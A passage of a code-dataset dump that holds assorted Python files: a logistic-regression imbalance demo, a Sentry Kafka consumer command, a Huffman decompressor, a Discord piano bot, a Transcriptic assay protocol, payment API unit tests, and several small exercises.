of ndarrays\n # np.where(Y==0)[0]取出索引(行数)\n X0 = np.repeat(X[np.where(Y == 0)[0]], zeroTimes, axis=0) # X0.shape = (990 * zeroTimes, 2)\n Y0 = np.repeat(Y[np.where(Y == 0)[0]], zeroTimes, axis=0) # Y0.shape =(990*n,1)\n X1 = X[np.where(Y > 0)[0]] # shape (1010,1)\n Y1 = Y[np.where(Y > 0)[0]]\n X0X1 = np.append(X0, X1, axis=0)\n Y0Y1 = np.append(Y0, Y1, axis=0)\n return X0X1, Y0Y1\n\n\ndef logitModel(X, Y):\n '''\n 搭建逻辑回归模型,并得到预测结果\n '''\n model = LogisticRegression(C=1e4) # 为了消除惩罚项的干扰,将惩罚系数设为很大\n model.fit(X, Y.ravel())\n pred = model.predict(X)\n return pred\n\n\ndef visualize(ratios, predPositive, truePositive, aucs, accuracies,\n title):\n '''\n 将模型可视化\n \n Parameters\n ----------\n ratios : [float,float,float,....,n(zeroTimes)]\n 原始数据集里Y>0的占比\n predPositive : np.array [int,int,int,...,n(zeroTimes)]\n 通过model预测标签Y>0的数目\n truePositive : np.array [int,int,int,...,n(zeroTimes)]\n 数据集中原始标签Y>0的数目\n aucs : [float,float,float,....,n(zeroTimes)]\n auc的面积\n accuracies : [float,float,float,....,n(zeroTimes)]\n auc的准确率\n Returns\n -------\n \n '''\n fig = plt.figure(figsize=(8, 3), dpi=80)\n ax = fig.add_subplot(1, 2, 1)\n plt.suptitle(title) # 图标总标题\n ax.plot(ratios, predPositive, label='%s' % '预测结果里类别1的个数')\n ax.plot(ratios, truePositive, 'k--', label='%s' % '原始数据集里类别1的个数')\n ax.set_xlabel(\"原始数据集Y>0的占比\")\n ax.set_ylabel(\"原始数据集Y>0的数量\")\n ax.set_xlim([0, 0.5])\n ax.invert_xaxis() # 将x或y轴逆序显示\n plt.legend(shadow=True, loc='best')\n\n ax1 = fig.add_subplot(1, 2, 2)\n ax1.plot(ratios, aucs, 'r', label='%s' % '曲线下的面积(AUC)')\n ax1.plot(ratios, accuracies, 'k-', label='%s' % '准确度(ACC)')\n ax1.set_xlabel(\"原始数据集Y>0的占比\")\n ax1.set_ylabel(\"Value\")\n ax1.set_xlim([0, 0.5])\n ax1.set_ylim([0.5, 1])\n ax1.invert_xaxis()\n plt.legend(shadow=True, loc='best')\n\n\ndef evaluateModel(Y, pred,title=None):\n '''\n 评估模型效果,其中包括ACC、AUC以及预测结果中类别1的个数\n \n Parameters\n ----------\n Y : np.array [array([]), array([]), array([]), array([])...]\n 数据集的类标签\n pred : np.array [array([]), array([]), array([]), array([])...]\n 模型预测数据的类标签 \n '''\n predPositive = [] \n truePositive = [] \n aucs = [] \n accuracies = [] \n ratios = [] \n for i in range(len(Y)):\n ratios.append(len(Y[i][Y[i] > 0]) / float(len(Y[i])))\n predPositive.append(len(pred[i][pred[i] > 0]))\n truePositive.append(len(Y[i][Y[i] > 0]))\n fpr, tpr, _ = metrics.roc_curve(Y[i], pred[i]) # fpr,tpr,_->array([x,x,x])\n accuracies.append(metrics.accuracy_score(Y[i], pred[i]))\n aucs.append(metrics.auc(fpr, tpr))\n visualize(ratios, predPositive, truePositive, aucs, accuracies,\n title=title)\n\n\ndef balanceData(X, Y):\n '''\n 通过调整各个类别的比重,解决非均衡数据集的问题\n '''\n positiveWeight = len(Y[Y > 0]) / float(len(Y))\n classWeight = {1: 1. / positiveWeight, \\\n 0: 1. / (1 - positiveWeight)}\n model = LogisticRegression(class_weight=classWeight, C=1e4)\n model.fit(X, Y.ravel())\n pred = model.predict(X)\n return pred\n\n\ndef imbalanceDataEffect():\n '''\n 展示非均衡数据集对搭建模型的影响\n '''\n X, Y = generateData(2000)\n trueY = []\n predY = []\n balancePredY = []\n for zeroTimes in np.arange(1, 100): # 为什么改成4,只有两幅图\n _X, _Y = unbalanceData(X, Y, zeroTimes)\n trueY.append(_Y) \n predY.append(logitModel(_X, _Y))\n balancePredY.append(balanceData(_X, _Y))\n evaluateModel(trueY, predY, title=\"非平衡数据集\")\n evaluateModel(trueY, balancePredY, title=\"平衡数据集\")\n\n\nif __name__ == '__main__':\n imbalanceDataEffect()\n","sub_path":"Desktop/myself/reader/数据科学_从线性回归到深度学习/p134.py","file_name":"p134.py","file_ext":"py","file_size_in_byte":5938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"592618096","text":"# coding: utf-8\n\n# Faça um programa que leia um nome de usuário e a sua senha e não aceite a senha igual\n# ao nome do usuário, mostrando uma mensagem de erro e voltando a pedir as informações.\n\nuser = str(input(\"Nome de usuário: \"))\npwd = str(input(\"Senha: \"))\n\nwhile pwd == user:\n print(\"\\nSenha inválida. Não digite senha igual ao nome de usuário.\\n\")\n pwd = str(input(\"Senha: \"))\n","sub_path":"PythonBrasil/03_EstruturaDeRepeticao/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"628096267","text":"from __future__ import absolute_import, print_function\n\nimport click\nimport signal\nfrom django.conf import settings\n\nfrom sentry.runner.decorators import configuration\n\n\n@click.command()\n@click.option('--topic', multiple=True, required=True,\n help='Topic(s) to consume from.')\n@click.option('--consumer-group', default='sentry-consumers',\n help='Consumer group name.')\n@click.option('--bootstrap-server', default=['localhost:9092'], multiple=True,\n help='Kafka bootstrap server(s) to use.')\n@click.option('--max-batch-size', default=10000,\n help='Max number of messages to batch in memory before committing offsets to Kafka.')\n@click.option('--max-batch-time-ms', default=60000,\n help='Max length of time to buffer messages in memory before committing offsets to Kafka.')\n@click.option('--auto-offset-reset', default='error', type=click.Choice(['error', 'earliest', 'latest']),\n help='Kafka consumer auto offset reset.')\n@configuration\ndef consumer(**options):\n from batching_kafka_consumer import BatchingKafkaConsumer\n from sentry.consumer import ConsumerWorker\n\n known_topics = {x['topic'] for x in settings.KAFKA_TOPICS.values()}\n topics = options['topic']\n for topic in topics:\n if topic not in known_topics:\n raise RuntimeError(\"topic '%s' is not one of: %s\" % (topic, known_topics))\n\n consumer = BatchingKafkaConsumer(\n topics=options['topic'],\n worker=ConsumerWorker(),\n max_batch_size=options['max_batch_size'],\n max_batch_time=options['max_batch_time_ms'],\n bootstrap_servers=options['bootstrap_server'],\n group_id=options['consumer_group'],\n auto_offset_reset=options['auto_offset_reset'],\n )\n\n def handler(signum, frame):\n consumer.signal_shutdown()\n\n signal.signal(signal.SIGINT, handler)\n\n consumer.run()\n","sub_path":"src/sentry/runner/commands/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"172576288","text":"#! python3\r\n\r\n'''\r\n解压被huffman编码后的文件\r\n'''\r\n\r\nimport sys\r\nfrom huffman import *\r\nfrom constant import * # 导入常量\r\n\r\ndef read_weights(fin):\r\n '''\r\n 读取频率表\r\n fin: 文件对象\r\n '''\r\n weights = [ int.from_bytes(fin.read(FOUR), 'little') for i in range(CHAR_NUM)]\r\n\r\n return weights\r\n\r\n\r\ndef decoding(fin, fout, root, total, num):\r\n '''\r\n 解码文件\r\n fin: 输入文件对象\r\n fout: 输出文件对象\r\n root: huffman树的根节点\r\n total: 要解码的串的长度(字节为单位)\r\n num: 最后一个字节的有效位数\r\n '''\r\n cur = root # cur指向当前节点\r\n for byte in range(total):\r\n code = int.from_bytes(fin.read(1), 'little') # 读入一个字节的编码串, 并转换为整数\r\n # debug{\r\n #print('code=%s' % code)\r\n #sys.exit()\r\n # }\r\n n = num if byte==total-1 else BYTE_SIZE\r\n for bit in range(n):\r\n if code & MASKS[bit]:\r\n # 此位为1, 向右子树移动\r\n cur = cur.right\r\n #print('cur = cur.right') # debug\r\n else:\r\n # 此为为0, 向左子树移动\r\n cur = cur.left\r\n #print('cur = cur.left') # debug\r\n \r\n if not (cur.left or cur.right):\r\n # 左右子树都为空, 表示到达叶节点\r\n char = cur.char\r\n #print(char)\r\n #sys.exit()\r\n fout.write(char.to_bytes(1, 'little'))\r\n cur = root # 重新从根节点开始\r\n \r\n\r\ndef decompress(input_file, output_file):\r\n '''\r\n input_file: 输入文件\r\n output_file: 输出文件\r\n '''\r\n fin = open(input_file, 'rb')\r\n fout = open(output_file, 'wb')\r\n\r\n fin.seek(-(FOUR*2),2) # 文件最后的8字节是编码串的长度(字节为单位),和最后一个字节编码的有效位数\r\n total = int.from_bytes(fin.read(FOUR), 'little')\r\n num = int.from_bytes(fin.read(FOUR), 'little')\r\n\r\n #print('total=%s, num=%s' % (total, num)) # debug\r\n\r\n # 读取字符的频率列表\r\n fin.seek(total, 0)\r\n weights = read_weights(fin)\r\n\r\n # debug{\r\n #logfile = input_file + '.log1'\r\n #with open(logfile, 'w') as fd:\r\n # fd.write(str(weights))\r\n # }\r\n\r\n # 构建huffman树\r\n huff_tree = HuffTree()\r\n huff_tree.build_huffman_tree(weights)\r\n\r\n #print('huff_tree.root.right.char=%s' % huff_tree.root.right.char) # debug\r\n\r\n #print('huff_tree.root.right(%s,%s)' % (huff_tree.root.right.left, huff_tree.root.right.right) ) # debug\r\n\r\n # 解码后输出到输出文件\r\n fin.seek(0, 0)\r\n decoding(fin, fout, huff_tree.root, total, num)\r\n\r\n fin.close()\r\n fout.close()\r\n\r\n print('%s decompress as %s' % (input_file, output_file) )\r\n\r\n\r\nif __name__ == '__main__':\r\n if len(sys.argv) != 2:\r\n print('usage: python %s file_name' % sys.argv[0])\r\n sys.exit()\r\n \r\n input_file = sys.argv[1]\r\n output_file = input_file.rsplit('.', 1)[0] # \r\n decompress(input_file, output_file)","sub_path":"decompress.py","file_name":"decompress.py","file_ext":"py","file_size_in_byte":3088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"386737896","text":"#!/usr/bin/python\n# coding:utf-8\n''' dis '''\ndef dis_shortest_path(graph):\n vnum = graph.vertex_num()\n paths = [None]*vnum\n count = 0\n cands=PrioQueue([(0,v0,v0)])\n while count < vnum and not cands.is_empty():\n plen,u,vmin = cands.dequeue()\n if paths[vmin]:\n continue\n paths[vmin]=(u,plen) #v0到vmin的前一个顶点是u,最短路径是plen\n for v,w in graph.out_edges(vmin):\n if not path[v]:\n cands.enqueue((plen+w,vmin,v))\n count += 1\n return paths\n\n\n\n \n","sub_path":"application/dis.py","file_name":"dis.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"322538183","text":"from datetime import timedelta\nfrom celery.schedules import crontab\n\nCELERYBEAT_SCHEDULE = {\n 'ptask': {\n 'task': 'tasks.period_task',\n 'schedule': timedelta(seconds=5),\n },\n}\n\nCELERY_RESULT_BACKEND = 'redis://localhost:6379/0'\nCELERY_TIMEZONE = 'Asia/Shanghai'","sub_path":"distributed-queue/celery_config.py","file_name":"celery_config.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"456347733","text":"import discord\nimport asyncio\nfrom discord.ext import commands\nfrom discord import FFmpegPCMAudio\nimport random\n\n\nclass JayCog(commands.Cog):\n\n client = discord.Client()\n\n def __init__(self, bot):\n self.bot = bot\n self.bot_message = None\n self.ready = None\n\n # commands for your cog go here\n @commands.command()\n async def rps(self, ctx, rlt : str):\n possible = [\"rock\", \"paper\", \"scissors\"]\n r_choice = random.choice(possible)\n if rlt:\n if rlt == 'rock':\n if r_choice == 'paper':\n await ctx.send('I won! I picked '+r_choice)\n elif r_choice == 'scissors':\n await ctx.send('I lost :( I picked '+r_choice)\n\n elif rlt == 'paper':\n if r_choice == 'rock':\n await ctx.send('I lost :( I picked '+r_choice)\n elif r_choice == 'scissors':\n await ctx.send('I won! I picked '+r_choice)\n\n elif rlt == 'scissors':\n if r_choice == 'rock':\n await ctx.send('I won! I picked '+r_choice)\n elif r_choice == 'paper':\n await ctx.send('I lost :( I picked '+r_choice)\n\n elif rlt == r_choice:\n await ctx.send('Draw!')\n else:\n await ctx.send('You must write rock, paper or scissors')\n else:\n await ctx.send('You must write rock, paper or scissors')\n\n @commands.command(aliases=[\"pt\", \"piano\", \"playpiano\"])\n async def pianotime(self, ctx):\n self.ready = False\n try:\n vc = ctx.message.author.voice.channel\n self.vcl = await vc.connect()\n except:\n embed = discord.Embed(colour=0xff0000)\n embed.set_author(icon_url=ctx.message.author.avatar_url, name=ctx.message.author.display_name + \", you're not in a vc! Please connect to one before playing the piano\")\n await ctx.send(embed=embed)\n return\n\n self.notes = ['🎹', '🇦', '🇧', '🇨', '🇩', '🇪', '🇫', '🇬']\n msg = \"\"\"Heyy {} it's Piano Time! It's Discord's Hack Week, Let's get Frizzy! \n \n Reactions: \n :musical_keyboard:\n :regional_indicator_a:\n :regional_indicator_b:\n :regional_indicator_c:\n :regional_indicator_d:\n :regional_indicator_e:\n :regional_indicator_f:\n :regional_indicator_g:\n\n React to this message to play!\"\"\".format(ctx.message.author.display_name)\n embed = discord.Embed(description=msg)\n embed.set_author(icon_url=ctx.message.author.avatar_url, name=ctx.message.author.display_name + \" brought a piano!\")\n embed.colour = ctx.message.author.colour if hasattr(ctx.message.author, \"colour\") else discord.Colour.default()\n self.bot_message = await ctx.send(embed=embed)\n\n for note in self.notes:\n await self.bot_message.add_reaction(note)\n\n \n \n source = FFmpegPCMAudio('music/better sounds/call_ringing_beat.wav')\n self.vcl.play(source)\n await ctx.send(\"You will be able to play in just a sec ;)\")\n await asyncio.sleep(12)\n self.ready = True\n \n @commands.command(aliases=[\"stop\"]) \n async def pianostop(self, ctx):\n await self.vcl.disconnect()\n\n\n @commands.Cog.listener()\n async def on_reaction_add(self, reaction, user):\n if not reaction.message == self.bot_message and not self.ready:\n return\n \n if reaction.emoji not in self.notes:\n await reaction.remove(user)\n\n if not user.voice.channel.id:\n embed = discord.Embed(colour=0xff0000)\n embed.set_author(icon_url=user.avatar_url, name=user.display_name + \", you're not in a vc! Please connect to one before playing the piano\")\n await reaction.message.channel.send(embed=embed)\n\n try:\n if reaction.emoji == \"🎹\":\n g3 = FFmpegPCMAudio('music/better sounds/c5.wav')\n self.vcl.play(g3)\n\n elif reaction.emoji == \"🇦\":\n a4 = FFmpegPCMAudio('music/better sounds/d5.wav')\n self.vcl.play(a4)\n\n elif reaction.emoji == \"🇧\":\n b4 = FFmpegPCMAudio('music/better sounds/e5.wav')\n self.vcl.play(b4)\n\n elif reaction.emoji == \"🇨\":\n c4 = FFmpegPCMAudio('music/better sounds/f5.wav')\n self.vcl.play(c4)\n\n elif reaction.emoji == \"🇩\":\n d4 = FFmpegPCMAudio('music/better sounds/g5.wav')\n self.vcl.play(d4)\n\n elif reaction.emoji == \"🇪\":\n e4 = FFmpegPCMAudio('music/better sounds/a6.wav')\n self.vcl.play(e4)\n\n elif reaction.emoji == \"🇫\":\n f4 = FFmpegPCMAudio('music/better sounds/b6.wav')\n self.vcl.play(f4)\n\n elif reaction.emoji == \"🇬\":\n g4 = FFmpegPCMAudio('music/better sounds/c6.wav')\n self.vcl.play(g4)\n except discord.errors.ClientException:\n pass\n\n\n @commands.Cog.listener()\n async def on_reaction_remove(self, reaction, user):\n if not reaction.message == self.bot_message and not self.ready:\n return\n\n if not user.voice.channel.id:\n embed = discord.Embed(colour=0xff0000)\n embed.set_author(icon_url=user.avatar_url, name=user.display_name + \"You're not in a vc! Please connect to one before playing the piano\")\n await reaction.message.channel.send(embed=embed)\n try:\n if reaction.emoji == \"🎹\":\n c5 = FFmpegPCMAudio('music/better sounds/c5.wav')\n self.vcl.play(c5)\n\n elif reaction.emoji == \"🇦\":\n d5 = FFmpegPCMAudio('music/better sounds/d5.wav')\n self.vcl.play(d5)\n\n elif reaction.emoji == \"🇧\":\n e5 = FFmpegPCMAudio('music/better sounds/e5.wav')\n self.vcl.play(e5)\n\n elif reaction.emoji == \"🇨\":\n f5 = FFmpegPCMAudio('music/better sounds/f5.wav')\n self.vcl.play(f5)\n\n elif reaction.emoji == \"🇩\":\n g5 = FFmpegPCMAudio('music/better sounds/g5.wav')\n self.vcl.play(g5)\n\n elif reaction.emoji == \"🇪\":\n a6 = FFmpegPCMAudio('music/better sounds/a6.wav')\n self.vcl.play(a6)\n\n elif reaction.emoji == \"🇫\":\n b6 = FFmpegPCMAudio('music/better sounds/b6.wav')\n self.vcl.play(b6)\n\n elif reaction.emoji == \"🇬\":\n c6 = FFmpegPCMAudio('music/better sounds/c6.wav')\n self.vcl.play(c6)\n except discord.errors.ClientException:\n pass\n \n\n \ndef setup(bot):\n bot.add_cog(JayCog(bot))\n","sub_path":"cogs/jaycog.py","file_name":"jaycog.py","file_ext":"py","file_size_in_byte":6928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"350063918","text":"# Pratham Darooka\n\nprint(\"Welcone to PD's Echo Bot! I will repeat anything you say.\")\n\nto_echo = \"\"\n\nwhile(to_echo != \"-1\"):\n to_echo = input(\"What would you like me to repeat? (Enter -1 to quit) \")\n if(to_echo != \"-1\"):\n print(\"You said: \" + to_echo)\n\n# END\n","sub_path":"src/cpp/Project_Echobot/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"268378271","text":"def solution(N, stages):\r\n answer = []\r\n fail = {}\r\n n_user = len(stages)\r\n for i in range(1, N+1):\r\n if(stages.count(i)==0):\r\n fail[i] = 0.0\r\n else:\r\n fail[i] = stages.count(i)/n_user\r\n n_user -= stages.count(i)\r\n answer = sorted(fail, key=lambda x: fail[x],reverse=True)\r\n \r\n return answer\r\n\r\nif __name__ == \"__main__\":\r\n print(solution(5, [2, 1, 2, 6, 2, 4, 3, 3]))\r\n print(\"=========================\")\r\n print(solution(4, [4,4,4,4,4]))","sub_path":"ACM/Programmers/pythoncode/42889.py","file_name":"42889.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"640757652","text":"#coding:utf-8\nimport requests\nimport unittest\nfrom common.login import LG\nfrom common.logger import Log\nclass Test_pay(unittest.TestCase):\n def setUp(self):\n self.s = requests.session()\n self.lgin = LG(self.s) #实例化登录类\n self.uid_token = self.lgin.gettoken_loginbyUID() #直接取第二部登录\n self.header = {'User-Agent': 'LanTingDoctor/1.3.1 (iPad; iOS 10.1.1; Scale/2.00)',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'zh-Hans-CN;q=1',\n 'Content-Type': 'application/json',\n 'requestApp': '3',\n 'requestclient': '2',\n 'versionForApp': '2.0',\n 'Authorization': 'Basic YXBpTGFudGluZ0BtZWRsYW5kZXIuY29tOkFwaVRobWxkTWxkQDIwMTM=',\n 'Connection': 'keep-alive'}\n self.log = Log()\n def test_pay(self):\n u'测试支付接口,已购买的课程,去支付'\n self.log.info('开始测试支付接口,已购买的课程,去支付')\n url = 'http://api.exam.wrightin.com/v1/mldProductPay'\n json_data = {\"payType\":\"0\",\n \"product_type\":\"2\",\n \"token\":self.uid_token,\n \"product_code\":\"K00001\"\n }\n r = self.s.post(url,headers = self.header,json=json_data)\n print(r.json())\n global out_trad_num #设置为全局变量供下一case调用\n out_trad_num= r.json()['data']\n #print(out_trad_num)\n #global order_id\n #order_id = r.json()['data']['order_id']\n self.assertEqual('您已购买 不能重复购买',r.json()['note'],msg='支付请求状态不是200')\n self.log.info('支付接口,已购买的课程,去支付测试结束')\n\n def test_pay(self):\n u'测���支付接口,未购买的课程,去支付'\n self.log.info('开始测试支付接口,未购买的课程,去支付')\n url = 'http://api.exam.wrightin.com/v1/mldProductPay'\n\n json_data = {\"payType\":\"0\",\n \"product_type\":\"2\",\n \"token\":self.uid_token,\n \"product_code\":\"K00008\"\n }\n\n r = self.s.post(url,headers = self.header,json=json_data)\n print(r.json())\n global out_trad_num #设置为全局变量供下一case调用\n out_trad_num= r.json()['data']\n self.assertEqual('请求成功.',r.json()['note'],msg='支付请求状态没成功')\n self.log.info('支付接口,未购买的课程,去支付测试结束')\n\n\n def test_pay_success(self):\n u'测试支付后的确认接口(未支付的orderid)'\n self.log.info('测试支付后的确认接口(未支付的orderid)')\n url = 'http://api.exam.wrightin.com/v1/mldProductPaySucessReq'\n\n json_data = {\"payType\":\"0\",\n \"out_trade_no\":\"\",\n \"token\":self.uid_token,\n \"orderid\":\"309251BA4A7C9A2C95C0F0A908DD3D66\"\n }\n\n r = self.s.post(url,headers=self.header,json=json_data)\n #print('未支付',r.json())\n self.assertEqual(201,r.json()['code'],msg=('未支付的orderid,支付确认接口有问题'))\n self.log.info('支付后的确认接口(未支付的orderid)测试结束')\n def tearDown(self):\n self.s.close()\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"case/Lesson/testPaySuccess.py","file_name":"testPaySuccess.py","file_ext":"py","file_size_in_byte":3477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"191876391","text":"t = open('corpus.txt', encoding='iso-8859-1').read()\nd = {'a':0, 'b':0, 'd':0, 'e':0, 'h':0, 'i':0, 'j':0, 'k':0, 'l':0, 'm':0, 'n':0, 'nh':0, 'o':0, 's':0, 'u':0, 'v':0, 'w':0, 'y':0, 'z':0}\nw = 0\ns = 0\nn = False\nfor c in t:\n\t\tif c in 'AaÁá':\n\t\t\t\td['a'] += 1\n\t\tif c in 'BbPp': # misspelling-friendly\n\t\t\t\td['b'] += 1\n\t\tif c in 'DdTt': # this is the most frequent one\n\t\t\t\td['d'] += 1\n\t\tif c in 'EeÉé':\n\t\t\t\td['e'] += 1\n\t\tif c in 'Hh':\n\t\t\t\tif n:\n\t\t\t\t\t\td['n'] -= 1\n\t\t\t\t\t\td['nh'] += 1\n\t\t\t\t\t\tn = False\n\t\t\t\telse:\n\t\t\t\t\t\td['h'] += 1\n\t\tif c in 'IiÍí':\n\t\t\t\td['i'] += 1\n\t\tif c in 'Jj':\n\t\t\t\td['j'] += 1\n\t\tif c in 'KkGg':\n\t\t\t\td['k'] += 1\n\t\tif c in 'LlRr':\n\t\t\t\td['l'] += 1\n\t\tif c in 'Mm':\n\t\t\t\td['m'] += 1\n\t\tif c in 'Nn':\n\t\t\t\td['n'] += 1\n\t\t\t\tn = True\n\t\t\t\tcontinue\n\t\tif c in 'OoÓó':\n\t\t\t\td['o'] += 1\n\t\tif c in 'Ss':\n\t\t\t\td['s'] += 1\n\t\tif c in 'UuÚú':\n\t\t\t\td['u'] += 1\n\t\tif c in 'VvFf':\n\t\t\t\td['v'] += 1\n\t\tif c in 'Ww':\n\t\t\t\td['w'] += 1\n\t\tif c in 'YyÝý':\n\t\t\t\td['y'] += 1\n\t\tif c in 'Zz':\n\t\t\t\td['z'] += 1\n\t\tif c == ' ':\n\t\t\t\tw += 1\n\t\tif c == '\\n':\n\t\t\t\tw += 1\n\t\t\t\ts += 1\n\t\tn = False\nif __name__ == '__main__':\n\t\tt = sum(d.values())\n\t\tprint('Frequencies in alphabetical order:')\n\t\tfor i in d:\n\t\t\t\tp = str(round(d[i] / t * 10000))\n\t\t\t\tprint('{}: {} ({}%)'.format(i, d[i], p[:-2] + '.' + p[-2:]))\n\t\tprint('Frequencies in frequency order:')\n\t\tfor i in reversed(sorted(d, key=d.get)):\n\t\t\t\tp = str(round(d[i] / t * 10000))\n\t\t\t\tprint('{}: {} ({}%)'.format(i, d[i], p[:-2] + '.' + p[-2:]))\n\t\tprint('Number of words:', w)\n\t\tprint('Number of sentences:', s)\n","sub_path":"corpus_analyzer.py","file_name":"corpus_analyzer.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"470076024","text":"# -*- coding: utf-8 -*-\n\nimport requests\nimport json\nimport sys\nfrom bs4 import BeautifulSoup\n\n\ndef create_result_object():\n tmp = dict()\n tmp['lists'] = list()\n tmp['error'] = False\n tmp['error_msg'] = ''\n return tmp\n\n\ndef search_for_movies(movie_name):\n \"\"\"\n 输入电影英文名,通过filmxy进行查找\n :param string movie_name: must be english, and must be separated by space between each word\n :return:\n \"\"\"\n url_search_page = 'http://www.filmxy.com/?s=%s&quality=&genre=&song=' % movie_name.replace(' ', '+')\n request_search_page = requests.get(url_search_page)\n soup_search_page = BeautifulSoup(request_search_page.text, \"html.parser\")\n\n return_object = create_result_object()\n tmp_list = return_object['lists']\n # 每个查找结果包含一个电影\n # 查找结果格式如下\n #
...
...\n movie_cover = each.find('div', class_='post-thumb').img['src']\n\n # 查找前往电影主页面的URL\n # 格式如下
... \n url_to_movie_page = each.find('a', class_='par-link')['href']\n tmp_list.append({'cover': movie_cover, 'url': url_to_movie_page})\n\n return return_object\n\n\nif __name__ == \"__main__\":\n print(json.dumps(search_for_movies(sys.argv[1])))\n","sub_path":"python-verysimple-crawler/GetFilm/search_film.py","file_name":"search_film.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"569984148","text":"from transcriptic.protocol import Protocol, Ref, Incubate, Pipette\nfrom transcriptic.api import Connection\n\nprotocol = Protocol()\n\nmutant1 = protocol.ref_new('mutant1', 'micro-1.5', storage='cold_4')\nmutant2 = protocol.ref_new('mutant2', 'micro-1.5', storage='cold_4')\nmutant3 = protocol.ref_new('mutant3', 'micro-1.5', storage='cold_4')\nmutant4 = protocol.ref_new('mutant4', 'micro-1.5', storage='cold_4')\nenzyme = protocol.ref_new('enzyme', '96-flat', storage='ambient')\nsubstrate = protocol.ref_new('substrate', '96-flat', storage='cold_20')\ntrash = protocol.ref_new('trash', '96-deep', discard=True) \n\n#thaw a pre-made 96-well substrate plate \nprotocol.incubate('substrate', 'ambient', '15:minute')\n\n#aliquot mutants\nprotocol.distribute(\n mutant1.well(0), \n enzyme.wells_from('A1', 24, columnwise=True), \n '25:microliter', )\n\nprotocol.distribute(\n mutant2.well(0), \n enzyme.wells_from('A4', 24, columnwise=True), \n '25:microliter', )\n\nprotocol.distribute(\n mutant3.well(0), \n enzyme.wells_from('A7', 24, columnwise=True), \n '25:microliter', )\n\nprotocol.distribute(\n mutant4.well(0), \n enzyme.wells_from('A10', 24, columnwise=True), \n '25:microliter', )\n\n#generalize to \n# for i, mutant in mutants \n# distribute(mutant.well(0),enzyme.wells(i*4,24,columnwise=True),'25:microliter')\n\n# initiate reaction\n# how long will this take? \n# ideally < 100 s \nprotocol.transfer(\n substrate.all_wells(),\n enzyme.all_wells(),\n '25:microliter',\n mix_after=True,\n mix_vol=\"25:microliter\",\n repetitions=2, )\n\n# 20 reads \nfor i in range(1,21):\n protocol.absorbance('enzyme', enzyme.all_wells(),\n '420:nanometer', 'data%s' % i)\n protocol.incubate('enzyme', 'ambient', '30:second')\n\n#submit\nconn = Connection().organization('siegel-lab-uc-davis')\nconn.project('p177ufku98k8j').submit(protocol, title=\"Bagel assay\")\n","sub_path":"bagel-assay.py","file_name":"bagel-assay.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"101087417","text":"#!/usr/local/bin/python3\n# Scores 23.53/100\nINF = float('inf')\ndef getLine(func):\n return list(map(func, input().split()))\n\ndef getEdge():\n l = input().split()\n na = l[0]\n nb = l[1]\n dist = int(l[2])\n return (na, nb, dist)\n\ndef makeGraph(nodes, edges, graph):\n for edge in edges:\n na = nodes.index(edge[0])\n nb = nodes.index(edge[1])\n graph[na][nb] = edge[2]\n return\n\ndef dijkstras(graph, source):\n n = len(graph)\n visited = [False for i in range(n)]\n tovisit = [source]\n dist = [INF for i in range(n)]\n dist[source] = 0\n while len(tovisit) > 0:\n u = tovisit.pop()\n if (visited[u]):\n continue\n visited[u] = True\n for i in range(n):\n if graph[u][i]:\n tovisit.append(i)\n if dist[i] > graph[u][i] + dist[u]:\n dist[i] = graph[u][i] + dist[u]\n return dist\n\nif __name__ == \"__main__\":\n # Input problem\n line = getLine(int)\n n = line[0]\n m = line[1]\n k = line[2]\n nodes = getLine(str)\n edges = [getEdge() for _ in range(m)]\n path = getLine(str)\n\n\n # Make Adjacency Matrix\n graph = [[None for _ in range(n)] for _ in range(n)]\n for i in range(n):\n graph[i][i] = 0\n makeGraph(nodes, edges, graph)\n # print(graph)\n\n # Make precomputed Dijkstras Matrix\n #efficientGraph = [dijkstras(graph, i) for i in range(n)]\n # print(efficientGraph)\n\n # Calculate Costs\n cost = 0\n\n prev = path[0]\n cost = 0\n for next_ in path:\n i = nodes.index(prev)\n j = nodes.index(next_)\n cost += dijkstras(graph, i)[j]#efficientGraph[i][j]\n prev = next_\n print(cost)\n\n","sub_path":"pineapple-service/solutions/solution_inefficient.py","file_name":"solution_inefficient.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
